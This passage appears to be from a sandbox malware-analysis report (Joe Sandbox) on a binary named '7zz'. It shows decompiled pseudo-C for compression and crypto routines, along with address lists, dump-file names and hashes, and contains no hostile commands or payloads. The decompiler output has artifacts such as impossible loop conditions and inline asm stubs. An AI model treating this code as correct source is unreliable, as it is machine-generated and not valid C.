				_t257[2] = ((( *((_t385 >> 0x00000010 & 0x000000ff) + 0x493568) & 0x000000ff | ( *((_t411 >> 0x18) + 0x493568) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t180 >> 0x00000008 & 0x000000ff) + 0x493568) & 0x000000ff) << 0x00000008 |  *((_t283 & 0x000000ff) + 0x493568) & 0x000000ff) ^ _t171[2];
				_t257[3] = ((( *((_t180 >> 0x00000010 & 0x000000ff) + 0x493568) & 0x000000ff | ( *((_t385 >> 0x18) + 0x493568) & 0x000000ff) << 0x00000008) << 0x00000008 |  *((_t283 >> 0x00000008 & 0x000000ff) + 0x493568) & 0x000000ff) << 0x00000008 |  *((_t411 & 0x000000ff) + 0x493568) & 0x000000ff) ^ _t171[3];
				return _t171;
			}

0x0046a958
0x0046a95a
0x0046a95e
0x0046a965
0x0046a96c
0x0046a96f
0x0046a975
0x0046a977
0x0046a97f
0x0046aa07
0x0046aa1b
0x0046aa1e
0x0046aa6e
0x0046aa8b
0x0046aa8e
0x0046aa91
0x0046aa91
0x0046aa95
0x0046aa99
0x0046aa9d
0x0046aaa3
0x0046aaf6
0x0046ab3b
0x0046ab61
0x0046ab75
0x0046ab81
0x0046ab8c
0x0046abbf
0x0046abff
0x0046ac05
0x0046ac50
0x0046ac9a
0x0046aca3
0x0046acc1
0x0046acd2
0x0046acd5
0x0046acd5
0x0046acd5
0x0046aaa3
0x0046ad33
0x0046ad8a
0x0046adde
0x0046ade2
0x0046ae2e
0x0046ae38

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f76d5444e41b3de3b0bb7ae30d3e020519421e5863b0ecd3f8ef0fb47bc375e4
Instruction ID: 5fe5ef698221ee210b1989aac551cfa729ecf53191c0a867fccea901994a2467
Opcode Fuzzy Hash: f76d5444e41b3de3b0bb7ae30d3e020519421e5863b0ecd3f8ef0fb47bc375e4
Instruction Fuzzy Hash: 32D1DE329046A65FE314DF5DDC9023277A2ABD9319F0B023AC6901B2A2C734AB16DB94

Uniqueness

Uniqueness Score: -1.00%

Function 0045EA60 Relevance: .3, Instructions: 298
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0045EA60(intOrPtr* __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t129;
				intOrPtr _t130;
				int _t135;
				void* _t138;
				void* _t147;
				int _t155;
				void* _t160;
				int* _t163;
				int* _t164;
				unsigned int _t170;
				int _t175;
				intOrPtr _t177;
				int* _t180;
				intOrPtr _t181;
				int* _t186;
				intOrPtr _t187;
				intOrPtr _t190;
				int* _t197;
				signed int _t203;
				intOrPtr _t207;
				signed int _t209;
				int _t222;
				int* _t223;
				intOrPtr _t224;
				void* _t226;
				void* _t231;
				intOrPtr* _t234;
				int _t235;
				int _t236;
				signed int _t237;
				void* _t238;

				_t129 =  *((intOrPtr*)(_t238 + 0x30));
				_t234 = __ecx;
				_t186 =  *(_t238 + 0x44);
				 *(_t238 + 0x2c) =  *_t186;
				_t222 = 0;
				 *((intOrPtr*)(_t238 + 0x34)) = __edx;
				_t207 =  *_t129;
				 *_t129 = 0;
				 *((intOrPtr*)(_t238 + 0x24)) = _t207;
				 *_t186 = 0;
				while(1) {
					_t187 =  *((intOrPtr*)(_t234 + 0x28));
					if( *((intOrPtr*)(_t234 + 0x24)) == _t187) {
						 *((intOrPtr*)(_t234 + 0x24)) = _t222;
					}
					_t130 =  *((intOrPtr*)(_t234 + 0x24));
					 *((intOrPtr*)(_t238 + 0x38)) = _t130;
					if(_t207 <= _t187 - _t130) {
						 *((intOrPtr*)(_t238 + 0x20)) = _t130 + _t207;
						 *((intOrPtr*)(_t238 + 0x30)) =  *((intOrPtr*)(_t238 + 0x4c));
					} else {
						 *((intOrPtr*)(_t238 + 0x20)) = _t187;
						 *((intOrPtr*)(_t238 + 0x30)) = _t222;
					}
					_t180 =  *(_t238 + 0x44);
					_t235 =  *(_t238 + 0x2c);
					 *(_t238 + 0x18) = _t180;
					 *(_t238 + 0x14) = _t235;
					 *((intOrPtr*)(_t238 + 0x10)) = _t222;
					E0045DFE0( *((intOrPtr*)(_t238 + 0x20)), _t234);
					_t223 =  *(_t238 + 0x50);
					 *_t223 = 0;
					if( *((intOrPtr*)(_t234 + 0x48)) != 0x112) {
						goto L15;
					}
					L7:
					if( *(_t234 + 0x20) == 0) {
						 *_t223 = 1;
					}
					_t237 = 0 |  *(_t234 + 0x20) != 0x00000000;
					L10:
					_t190 =  *((intOrPtr*)(_t238 + 0x10));
					 *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x48)))) =  *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x48)))) + _t190;
					_t181 =  *((intOrPtr*)(_t238 + 0x34));
					 *(_t238 + 0x44) =  *(_t238 + 0x44) + _t190;
					 *(_t238 + 0x2c) =  *(_t238 + 0x2c) - _t190;
					_t226 =  *((intOrPtr*)(_t234 + 0x24)) -  *((intOrPtr*)(_t238 + 0x38));
					E0046C5C0(_t181,  *((intOrPtr*)(_t234 + 0x14)) +  *((intOrPtr*)(_t238 + 0x38)), _t226);
					 *((intOrPtr*)(_t238 + 0x30)) =  *((intOrPtr*)(_t238 + 0x30)) - _t226;
					 *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x4c)))) =  *((intOrPtr*)( *((intOrPtr*)(_t238 + 0x4c)))) + _t226;
					_t238 = _t238 + 0xc;
					 *((intOrPtr*)(_t238 + 0x34)) = _t181 + _t226;
					if(_t237 != 0) {
						return _t237;
					} else {
						if(_t226 == 0 ||  *((intOrPtr*)(_t238 + 0x24)) == _t237) {
							return 0;
						} else {
							_t207 =  *((intOrPtr*)(_t238 + 0x24));
							_t222 = 0;
							continue;
						}
					}
					L15:
					while(1) {
						L15:
						if( *((intOrPtr*)(_t234 + 0x4c)) == 0) {
							L23:
							 *(_t238 + 0x1c) = 0;
							if( *((intOrPtr*)(_t234 + 0x24)) <  *((intOrPtr*)(_t238 + 0x20))) {
								_t209 = 1;
								goto L30;
							} else {
								_t177 =  *((intOrPtr*)(_t234 + 0x48));
								if(_t177 != 0 ||  *(_t234 + 0x20) != 0) {
									if( *((intOrPtr*)(_t238 + 0x30)) == 0) {
										 *_t223 = 2;
										_t237 = 0;
									} else {
										if(_t177 != 0) {
											 *_t223 = 2;
											goto L62;
										} else {
											_t209 = 1;
											 *(_t238 + 0x1c) = 1;
											L30:
											if( *((intOrPtr*)(_t234 + 0x50)) != 0) {
												_t231 =  *(_t234 + 0x10);
												_t170 = (0x300 <<  *((intOrPtr*)(_t234 + 4)) +  *_t234) + 0x736;
												if(0x300 != 0) {
													_t203 = _t170 >> 1;
													_t175 = memset(_t231, 0xbadfad, _t203 << 2);
													asm("adc ecx, ecx");
													memset(_t231 + _t203, _t175, 0);
													_t238 = _t238 + 0x18;
													_t209 = 1;
												}
												 *(_t234 + 0x44) = _t209;
												 *(_t234 + 0x40) = _t209;
												 *(_t234 + 0x3c) = _t209;
												 *(_t234 + 0x38) = _t209;
												 *((intOrPtr*)(_t234 + 0x34)) = 0;
												 *((intOrPtr*)(_t234 + 0x50)) = 0;
											}
											_t135 =  *(_t234 + 0x58);
											if(_t135 != 0) {
												_t236 = _t135;
												_t224 = 0;
												 *((intOrPtr*)(_t238 + 0x28)) = 0;
												if(_t236 < 0x14) {
													while(_t224 <  *(_t238 + 0x14)) {
														 *((char*)(_t234 + _t236 + 0x5c)) =  *((intOrPtr*)(_t224 + _t180));
														_t236 = _t236 + _t209;
														_t224 = _t224 + _t209;
														if(_t236 < 0x14) {
															continue;
														}
														break;
													}
													 *((intOrPtr*)(_t238 + 0x28)) = _t224;
												}
												 *(_t234 + 0x58) = _t236;
												if(_t236 < 0x14 ||  *(_t238 + 0x1c) != 0) {
													_t138 = E0045E0C0(_t236, _t234, _t234 + 0x5c);
													if(_t138 == 0) {
														 *((intOrPtr*)(_t238 + 0x10)) =  *((intOrPtr*)(_t238 + 0x10)) + _t224;
														 *( *(_t238 + 0x50)) = 3;
														_t237 = 0;
													} else {
														if( *(_t238 + 0x1c) == 0 || _t138 == 2) {
															goto L54;
														} else {
															 *( *(_t238 + 0x50)) = 2;
															_t237 = 1;
														}
													}
												} else {
													L54:
													 *(_t234 + 0x18) = _t234 + 0x5c;
													if(E0045E050(_t234, _t234 + 0x5c,  *((intOrPtr*)(_t238 + 0x20))) != 0) {
														goto L62;
													} else {
														_t147 =  *((intOrPtr*)(_t238 + 0x28)) +  *(_t234 + 0x18) - _t236 - _t234 - 0x5c;
														 *(_t238 + 0x18) =  *(_t238 + 0x18) + _t147;
														 *(_t234 + 0x58) = 0;
														goto L56;
													}
												}
											} else {
												if(_t235 < 0x14 ||  *(_t238 + 0x1c) != _t135) {
													_t160 = E0045E0C0(_t235, _t234, _t180);
													if(_t160 == 0) {
														E0046C5C0(_t234 + 0x5c, _t180, _t235);
														_t163 =  *(_t238 + 0x5c);
														 *(_t238 + 0x1c) =  *(_t238 + 0x1c) + _t235;
														 *(_t234 + 0x58) = _t235;
														_t238 = _t238 + 0xc;
														 *_t163 = 3;
														_t237 = 0;
													} else {
														if( *(_t238 + 0x1c) == 0 || _t160 == 2) {
															_t164 = _t180;
															goto L42;
														} else {
															 *( *(_t238 + 0x50)) = 2;
															_t237 = 1;
														}
													}
												} else {
													_t164 = _t180 + _t235 - 0x14;
													L42:
													 *(_t234 + 0x18) = _t180;
													if(E0045E050(_t234, _t164,  *((intOrPtr*)(_t238 + 0x20))) != 0) {
														goto L62;
													} else {
														_t197 =  *(_t238 + 0x18);
														_t147 =  *(_t234 + 0x18) - _t197;
														 *(_t238 + 0x18) = _t197 + _t147;
														L56:
														 *((intOrPtr*)(_t238 + 0x10)) =  *((intOrPtr*)(_t238 + 0x10)) + _t147;
														 *(_t238 + 0x14) =  *(_t238 + 0x14) - _t147;
														_t223 =  *(_t238 + 0x50);
														if( *((intOrPtr*)(_t234 + 0x48)) != 0x112) {
															_t180 =  *(_t238 + 0x18);
															_t235 =  *(_t238 + 0x14);
															continue;
														} else {
															goto L7;
														}
													}
												}
											}
										}
									}
								} else {
									 *_t223 = 4;
									_t237 = 0;
								}
							}
						} else {
							if(_t235 > 0) {
								while(1) {
									_t155 =  *(_t234 + 0x58);
									if(_t155 >= 5) {
										break;
									}
									 *((char*)(_t234 + 0x5c + _t155)) =  *_t180;
									 *(_t234 + 0x58) =  *(_t234 + 0x58) + 1;
									 *((intOrPtr*)(_t238 + 0x10)) =  *((intOrPtr*)(_t238 + 0x10)) + 1;
									_t180 =  &(_t180[0]);
									_t235 = _t235 - 1;
									if(_t235 != 0) {
										continue;
									}
									break;
								}
								 *(_t238 + 0x18) = _t180;
								 *(_t238 + 0x14) = _t235;
							}
							if( *(_t234 + 0x58) < 5) {
								 *_t223 = 3;
								_t237 = 0;
							} else {
								if( *(_t234 + 0x5c) != 0) {
									L62:
									_t237 = 1;
								} else {
									 *(_t234 + 0x20) = ((( *(_t234 + 0x5d) & 0x000000ff) << 0x00000008 |  *(_t234 + 0x5e) & 0x000000ff) << 0x00000008 |  *(_t234 + 0x5f) & 0x000000ff) << 0x00000008 |  *(_t234 + 0x60) & 0x000000ff;
									 *((intOrPtr*)(_t234 + 0x1c)) = 0xffffffff;
									 *((intOrPtr*)(_t234 + 0x4c)) = 0;
									 *(_t234 + 0x58) = 0;
									goto L23;
								}
							}
						}
						goto L10;
					}
				}
			}

0x0045ea63
0x0045ea6a
0x0045ea6c
0x0045ea73
0x0045ea77
0x0045ea79
0x0045ea7d
0x0045ea7f
0x0045ea81
0x0045ea85
0x0045ea87
0x0045ea87
0x0045ea8d
0x0045ea8f
0x0045ea8f
0x0045ea92
0x0045ea99
0x0045ea9f
0x0045eaad
0x0045eab5
0x0045eaa1
0x0045eaa1
0x0045eaa5
0x0045eaa5
0x0045eab9
0x0045eabd
0x0045eac5
0x0045eac9
0x0045eacd
0x0045ead1
0x0045ead6
0x0045eada
0x0045eae7
0x00000000
0x00000000
0x0045eaed
0x0045eaf1
0x0045eaf3
0x0045eaf3
0x0045eb01
0x0045eb03
0x0045eb03
0x0045eb0b
0x0045eb17
0x0045eb1b
0x0045eb1f
0x0045eb23
0x0045eb2a
0x0045eb33
0x0045eb37
0x0045eb3b
0x0045eb3e
0x0045eb44
0x0045ee2e
0x0045eb4a
0x0045eb4c
0x0045ee3a
0x0045eb5c
0x0045eb5c
0x0045eb60
0x00000000
0x0045eb60
0x0045eb4c
0x00000000
0x0045eb78
0x0045eb78
0x0045eb7d
0x0045ebed
0x0045ebf1
0x0045ebf8
0x0045ec27
0x00000000
0x0045ebfa
0x0045ebfa
0x0045ebff
0x0045ec0e
0x0045eda5
0x0045edab
0x0045ec14
0x0045ec16
0x0045edb2
0x00000000
0x0045ec1c
0x0045ec1c
0x0045ec21
0x0045ec2c
0x0045ec2f
0x0045ec36
0x0045ec40
0x0045ec45
0x0045ec58
0x0045ec5a
0x0045ec5c
0x0045ec5e
0x0045ec5e
0x0045ec61
0x0045ec61
0x0045ec68
0x0045ec6b
0x0045ec6e
0x0045ec71
0x0045ec74
0x0045ec77
0x0045ec77
0x0045ec7a
0x0045ec7f
0x0045ece2
0x0045ece4
0x0045ece6
0x0045eced
0x0045ecf0
0x0045ecf9
0x0045ecfd
0x0045ecff
0x0045ed04
0x00000000
0x00000000
0x00000000
0x0045ed04
0x0045ed06
0x0045ed06
0x0045ed0a
0x0045ed10
0x0045ed21
0x0045ed28
0x0045ee00
0x0045ee04
0x0045ee0a
0x0045ed2e
0x0045ed33
0x00000000
0x0045ee11
0x0045ee15
0x0045ee1b
0x0045ee1b
0x0045ed33
0x0045ed3e
0x0045ed3e
0x0045ed47
0x0045ed51
0x00000000
0x0045ed53
0x0045ed5e
0x0045ed62
0x0045ed66
0x00000000
0x0045ed66
0x0045ed51
0x0045ec81
0x0045ec84
0x0045ec97
0x0045ec9e
0x0045edc8
0x0045edcd
0x0045edd1
0x0045edd5
0x0045edd8
0x0045eddb
0x0045ede1
0x0045eca4
0x0045eca9
0x0045ecb4
0x00000000
0x0045ede8
0x0045edec
0x0045edf2
0x0045edf2
0x0045eca9
0x0045ec8c
0x0045ec8c
0x0045ecb6
0x0045ecba
0x0045ecc8
0x00000000
0x0045ecce
0x0045ecce
0x0045ecd5
0x0045ecd9
0x0045ed6d
0x0045ed6d
0x0045ed71
0x0045ed7c
0x0045ed80
0x0045eb70
0x0045eb74
0x00000000
0x0045ed86
0x00000000
0x0045ed86
0x0045ed80
0x0045ecc8
0x0045ec84
0x0045ec7f
0x0045ec16
0x0045ed98
0x0045ed98
0x0045ed9e
0x0045ed9e
0x0045ebff
0x0045eb7f
0x0045eb81
0x0045eb83
0x0045eb83
0x0045eb89
0x00000000
0x00000000
0x0045eb8d
0x0045eb96
0x0045eb99
0x0045eb9d
0x0045eb9f
0x0045eba1
0x00000000
0x00000000
0x00000000
0x0045eba1
0x0045eba3
0x0045eba7
0x0045eba7
0x0045ebaf
0x0045ed8b
0x0045ed91
0x0045ebb5
0x0045ebb8
0x0045edb8
0x0045edb8
0x0045ebbe
0x0045ebdd
0x0045ebe0
0x0045ebe7
0x0045ebea
0x00000000
0x0045ebea
0x0045ebb8
0x0045ebaf
0x00000000
0x0045eb7d
0x0045eb78

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26c666307ba7ad46120496990269a28762d07bb32c68e3a76c2fa520b537bec
Instruction ID: 39f11e55284d46da5960dba5874f1d448917b1de7ce1ab50debae43cae9d3b1e
Opcode Fuzzy Hash: e26c666307ba7ad46120496990269a28762d07bb32c68e3a76c2fa520b537bec
Instruction Fuzzy Hash: C0C132705087458FD728CF2AC48461BB7F1BF89306F14492FE98687752E3B8EA49CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0044A440 Relevance: .3, Instructions: 291
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E0044A440(void* __ecx, void* __eflags) {
				void* _t114;
				intOrPtr _t128;
				void* _t132;
				signed int _t165;
				void* _t176;
				signed int _t179;
				void* _t191;
				unsigned int _t194;
				intOrPtr _t196;
				signed int _t197;
				signed int _t204;
				signed int _t205;
				signed int _t211;
				unsigned int _t220;
				unsigned int _t221;
				signed int _t222;
				signed char _t239;
				intOrPtr* _t244;
				int _t245;
				intOrPtr _t246;
				unsigned int _t258;
				void* _t274;
				int _t285;
				void* _t288;
				void* _t290;
				void* _t291;
				signed int _t292;
				void* _t293;
				void* _t294;
				void* _t295;
				void* _t296;
				void* _t297;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t304;
				void* _t305;

				_t293 = __ecx;
				 *((char*)(__ecx + 0xd48)) = E0044A200(1) & 0xffffff00 | _t112 == 0x00000001;
				_t114 = E0044A200(2);
				if(_t114 <= 2) {
					if(_t114 != 0) {
						 *((char*)(__ecx + 0xd49)) = 0;
						if(_t114 != 1) {
							 *((intOrPtr*)(_t294 + 0x20)) = E0044A200(5) + 0x101;
							 *((intOrPtr*)(__ecx + 0xd4c)) = E0044A200(5) + 1;
							_t176 = E0044A200(4) + 4;
							if( *((intOrPtr*)(__ecx + 0xd51)) != 0 ||  *((intOrPtr*)(__ecx + 0xd4c)) <= 0x1e) {
								_t285 = 0;
								do {
									if(_t285 >= _t176) {
										 *((char*)(_t294 + 0x20)) = 0;
									} else {
										 *((char*)(_t294 + 0x20)) = E0044A200(3);
									}
									_t285 = _t285 + 1;
								} while (_t285 < 0x13);
								_t244 = _t293 + 0xaf8;
								memset(_t294 + 0x38, 0, 0xf << 2);
								_t295 = _t294 + 0xc;
								_t258 = 0;
								_t191 = 0;
								while(0 <= 0xf) {
									 *_t244 = 0xffffffff;
									_t191 = _t191 + 1;
									_t244 = _t244 + 4;
									 *((intOrPtr*)(_t295 + 0x34)) =  *((intOrPtr*)(_t295 + 0x34)) + 1;
									if(_t191 < 0x13) {
										continue;
									} else {
										_t128 = 0;
										 *(_t295 + 0x34) = _t258;
										 *(_t293 + 0xa78) = _t258;
										 *(_t293 + 0xab8) = _t258;
										 *((intOrPtr*)(_t295 + 0x10)) = 0;
										_t245 = 1;
										while(1) {
											_t288 = _t295 + 0x34 + _t245 * 4;
											_t258 = _t258 + ( *(_t295 + 0x34 + _t245 * 4) << 0xf - _t245);
											 *(_t295 + 0x18) = _t258;
											if(_t258 > 0x8000) {
												goto L35;
											}
											_t194 = 0x8000;
											if(_t245 != 0xf) {
												_t194 = _t258;
											}
											 *(_t293 + 0xa78 + _t245 * 4) = _t194;
											_t196 =  *((intOrPtr*)(_t293 + 0xab4 + _t245 * 4)) +  *((intOrPtr*)(_t288 - 4));
											 *((intOrPtr*)(_t293 + 0xab8 + _t245 * 4)) = _t196;
											 *((intOrPtr*)(_t295 + 0x1b4 + _t245 * 4)) = _t196;
											if(_t245 <= 9) {
												_t220 =  *(_t293 + 0xa78 + _t245 * 4) >> 6;
												if(_t128 < _t220) {
													_t75 = _t293 + 0xb44; // 0xb44
													_t274 = _t128 + _t75;
													_t221 = _t220 - _t128;
													 *(_t295 + 0x14) = _t221;
													_t292 = _t221;
													_t222 = _t221 >> 2;
													memset(_t274 + _t222, memset(_t274, _t245, _t222 << 2), (_t292 & 0x00000003) << 0);
													_t295 = _t295 + 0x18;
													_t258 =  *(_t295 + 0x18);
													_t128 =  *((intOrPtr*)(_t295 + 0x10)) + _t292;
													 *((intOrPtr*)(_t295 + 0x10)) = _t128;
												}
											}
											_t245 = _t245 + 1;
											if(_t245 <= 0xf) {
												continue;
											} else {
												_t246 = 0;
												do {
													if(0 != 0) {
														_t197 =  *(_t295 + 0x1b4);
														 *((intOrPtr*)(_t293 + 0xaf8 + _t197 * 4)) = _t246;
														 *(_t295 + 0x1b4) = _t197 + 1;
													}
													_t246 = _t246 + 1;
												} while (_t246 < 0x13);
												_t179 =  *(_t295 + 0x1c);
												_t132 = E0044A2A0(_t295 + 0x1f4, _t179 +  *(_t293 + 0xd4c));
												if(_t132 != 0) {
													_t290 = _t295 + 0x1f4;
													memset(_t295 + 0x175, 0, 7 << 2);
													_t296 = _t295 + 0xc;
													asm("stosw");
													asm("stosb");
													memset(_t296 + 0x194, 0, 8 << 2);
													_t297 = _t296 + 0xc;
													_t204 = _t179;
													_t205 = _t204 >> 2;
													memcpy(_t297 + 0x74, _t290, _t205 << 2);
													memcpy(_t290 + _t205 + _t205, _t290, _t204 & 0x00000003);
													_t299 = _t297 + 0x18;
													_t291 = _t299 + _t179 + 0x1f4;
													_t211 =  *(_t293 + 0xd4c) >> 2;
													memcpy(_t291 + _t211 + _t211, _t291, memcpy(_t299 + 0x194, _t291, _t211 << 2) & 0x00000003);
													_t301 = _t299 + 0x18;
													goto L34;
												} else {
													return _t132;
												}
											}
											goto L37;
										}
										goto L35;
									}
									goto L37;
								}
								goto L35;
							} else {
								return 0;
							}
						} else {
							memset(_t294 + 0x74, 0x8080808, 0x24 << 2);
							_t303 = _t294 + 0xc;
							memset(_t303 + 0x104, 0x9090909, 0x1c << 2);
							_t304 = _t303 + 0xc;
							memset(_t304 + 0x174, 0x7070707, 6 << 2);
							_t305 = _t304 + 0xc;
							 *(_t305 + 0x18c) = 0x8080808;
							 *(_t305 + 0x190) = 0x8080808;
							memset(_t305 + 0x194, 0x5050505, 8 << 2);
							_t301 = _t305 + 0xc;
							asm("sbb eax, eax");
							 *(_t293 + 0xd4c) = ( ~( *(_t293 + 0xd51)) & 0x00000002) + 0x1e;
							L34:
							_push(_t301 + 0x74);
							if(L0044B440(_t293 + 0x78) != 0) {
								_push(_t301 + 0x194);
								return L0044B590(_t293 + 0x778);
							} else {
								L35:
								return 0;
							}
						}
					} else {
						 *((char*)(__ecx + 0xd49)) = 1;
						_t165 =  *(__ecx + 0x40);
						_t239 =  ~_t165 & 0x00000007;
						 *(__ecx + 0x40) = _t165 + _t239;
						 *(__ecx + 0x70) =  *(__ecx + 0x70) >> _t239;
						 *((intOrPtr*)(__ecx + 0xd44)) = E0044A200(0x10);
						if( *((intOrPtr*)(__ecx + 0xd50)) == 0) {
							return 0 |  *((intOrPtr*)(__ecx + 0xd44)) == ( !(E0044A200(0x10)) & 0x0000ffff);
						} else {
							return 1;
						}
					}
				} else {
					return 0;
				}
				L37:
			}

0x0044a44a
0x0044a45d
0x0044a463
0x0044a46b
0x0044a47c
0x0044a4ef
0x0044a4f6
0x0044a581
0x0044a58f
0x0044a5a2
0x0044a5a7
0x0044a5bf
0x0044a5c1
0x0044a5cd
0x0044a5de
0x0044a5cf
0x0044a5d8
0x0044a5d8
0x0044a5e3
0x0044a5e4
0x0044a5f4
0x0044a5fa
0x0044a5fa
0x0044a5fc
0x0044a5fe
0x0044a600
0x0044a618
0x0044a61e
0x0044a61f
0x0044a625
0x0044a627
0x00000000
0x0044a629
0x0044a629
0x0044a62b
0x0044a62f
0x0044a635
0x0044a63b
0x0044a63f
0x0044a644
0x0044a648
0x0044a655
0x0044a65d
0x0044a661
0x00000000
0x00000000
0x0044a66a
0x0044a66f
0x0044a671
0x0044a671
0x0044a676
0x0044a684
0x0044a689
0x0044a690
0x0044a697
0x0044a6a0
0x0044a6a5
0x0044a6a7
0x0044a6a7
0x0044a6ae
0x0044a6b2
0x0044a6b8
0x0044a6c4
0x0044a6ce
0x0044a6ce
0x0044a6d4
0x0044a6da
0x0044a6dc
0x0044a6dc
0x0044a6a5
0x0044a6e0
0x0044a6e4
0x00000000
0x0044a6ea
0x0044a6ea
0x0044a6ec
0x0044a6f4
0x0044a6f6
0x0044a704
0x0044a70c
0x0044a70c
0x0044a70e
0x0044a70f
0x0044a714
0x0044a72d
0x0044a734
0x0044a74f
0x0044a756
0x0044a756
0x0044a758
0x0044a75a
0x0044a769
0x0044a769
0x0044a76b
0x0044a773
0x0044a776
0x0044a77d
0x0044a77d
0x0044a785
0x0044a795
0x0044a79f
0x0044a79f
0x00000000
0x0044a740
0x0044a740
0x0044a740
0x0044a734
0x00000000
0x0044a6e4
0x00000000
0x0044a644
0x00000000
0x0044a627
0x00000000
0x0044a5b5
0x0044a5be
0x0044a5be
0x0044a4f8
0x0044a50b
0x0044a50b
0x0044a51e
0x0044a51e
0x0044a531
0x0044a531
0x0044a533
0x0044a54b
0x0044a552
0x0044a552
0x0044a55c
0x0044a564
0x0044a7a1
0x0044a7a5
0x0044a7b0
0x0044a7cc
0x0044a7dc
0x0044a7b5
0x0044a7b5
0x0044a7be
0x0044a7be
0x0044a7b0
0x0044a47e
0x0044a47e
0x0044a485
0x0044a48f
0x0044a49a
0x0044a49d
0x0044a4a5
0x0044a4b3
0x0044a4eb
0x0044a4b8
0x0044a4c1
0x0044a4c1
0x0044a4b3
0x0044a470
0x0044a479
0x0044a479
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d2144b61ffc51926405787fbc7a6f653c85888bbca718787b1c5e10c8b43391
Instruction ID: 9bb6accf8b061612f2bcebb0087019938af92876cfc06ddf3499721ed1c01372
Opcode Fuzzy Hash: 6d2144b61ffc51926405787fbc7a6f653c85888bbca718787b1c5e10c8b43391
Instruction Fuzzy Hash: EEA107317483444BFF389E28D8513EEB7D2EBC4308F54443EDA898B781DA7AA9198756

Uniqueness

Uniqueness Score: -1.00%

Function 00458B30 Relevance: .2, Instructions: 180
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E00458B30(signed char* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _t102;
				signed int _t104;
				signed int _t112;
				signed int _t123;
				intOrPtr _t132;
				signed int _t136;
				signed int _t138;
				signed int _t140;
				signed int _t142;
				signed int _t145;
				signed int _t149;
				unsigned int _t164;
				signed int _t165;
				signed int _t182;
				signed int _t184;
				signed int _t191;
				signed int _t198;
				signed char* _t205;
				signed int _t208;
				unsigned int _t212;
				signed int _t218;
				unsigned int _t222;

				if(__edx >= 0x10) {
					_v20 = __edx - 0x10;
					_v44 = 0;
					_t205 = __ecx;
					_v24 = _a4 - __ecx;
					do {
						_t102 = 5;
						_t208 = 0;
						_v28 =  *(( *_t205 & 0x1f) + 0x47c5bc) & 0x000000ff;
						_v32 = 5;
						_v36 = 0;
						do {
							_t182 = _v28 >> _t208;
							if((_t182 & 0x00000001) != 0) {
								_t212 = _t102 >> 3;
								_t104 = _t205[_t212 + 5] & 0x000000ff;
								asm("cdq");
								asm("cdq");
								_t136 = (_t104 << 8) + (_t205[_t212 + 4] & 0x000000ff);
								asm("adc ebp, edx");
								asm("cdq");
								_t138 = (_t136 << 8) + (_t205[_t212 + 3] & 0x000000ff);
